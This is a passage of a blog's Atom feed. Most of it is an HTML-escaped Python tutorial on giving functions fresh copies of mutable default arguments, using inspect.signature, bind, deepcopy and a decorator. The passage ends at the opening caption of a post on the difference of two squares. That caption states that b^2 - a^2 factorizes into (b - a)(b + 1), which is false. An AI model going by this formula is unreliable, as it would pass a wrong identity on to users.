&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;      &lt;span class="c1"&gt;# bytes&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;        &lt;span class="c1"&gt;# int&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;       &lt;span class="c1"&gt;# complex&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;      &lt;span class="c1"&gt;# float&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;     &lt;span class="c1"&gt;# bool&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="c1"&gt;# range&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;params_to_refresh&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;param&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;param&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;params_with_defaults&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;param&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;const_types&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;const_types&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is not an exhaustive set, only the most common types are there.&lt;/p&gt;
&lt;p&gt;In fact we don’t need to store the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;param&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; objects as they are stored in the function’s signature anyways. The parameters’ names are enough.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;params_to_refresh&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;tuple&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params_to_refresh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="call-arguments"&gt;Call arguments&lt;/h2&gt;
&lt;p&gt;When a function is called the function’s parameters are &lt;em&gt;bound&lt;/em&gt; with the arguments.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;bound&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;z&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# same as foo(1, b=&amp;#39;z&amp;#39;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arguments&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Python binds only the parameters that have an explicit value:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;if a parameter &lt;em&gt;without&lt;/em&gt; a default is not bound, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="ne"&gt;TypeError&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is raised.&lt;/li&gt;
&lt;li&gt;if a parameter &lt;em&gt;has&lt;/em&gt; a default it is left &lt;em&gt;unbound&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is perfect because we can know which parameters are not bound yet:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;c&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="bind-a-copy"&gt;Bind a copy&lt;/h2&gt;
&lt;p&gt;This is the idea: we check the unbound parameters and if they are not immutable we copy their default values and &lt;em&gt;bind&lt;/em&gt; the copy like if the user would passed it &lt;em&gt;explicitly&lt;/em&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;copy&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;deepcopy&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;c&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;deepcopy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;c&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; not longer is unbound:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# c is bound now&lt;/span&gt;
&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Because there could be still unbound parameters, we can let Python follow the normal path and bind them with the respective defaults.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;apply_defaults&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally we can emulate a function call like this:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To call it again we need to create another copy from parameter’s default:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;c&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;deepcopy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;c&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="wrap-up"&gt;Wrap up&lt;/h2&gt;
&lt;p&gt;We can pack all this nicely in a decorator&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fresh_defaults&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;sig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;inspect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parameters&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;to_refresh&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;tuple&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;empty&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;const_types&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;wrapped&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;bound&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;arguments&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arguments&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;to_refresh&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;                 &lt;span class="n"&gt;default&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;                 &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;deepcopy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;apply_defaults&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;wrapped&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Enjoy!&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nd"&gt;@fresh_defaults&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;x&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[]):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;!&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;a=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; b=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; c=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# uses a copy of the default list&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# uses fresh copy of the default list&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;z&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="c1"&gt;# uses another list&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# uses another fresh default list.&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/08/14/Fresh-Python-Defaults.html" rel="alternate" type="text/html" title="Fresh Python Defaults"/>
    <category term="Python" label="Python"/>
    <published>2021-08-14T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/08/12/Difference-of-Two-Squares.html</id>
    <title>Difference of two squares</title>
    <updated>2021-08-12T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Visual proof that \(b^2 - a^2\) factorizes into \((b - a)(b + 1)\).
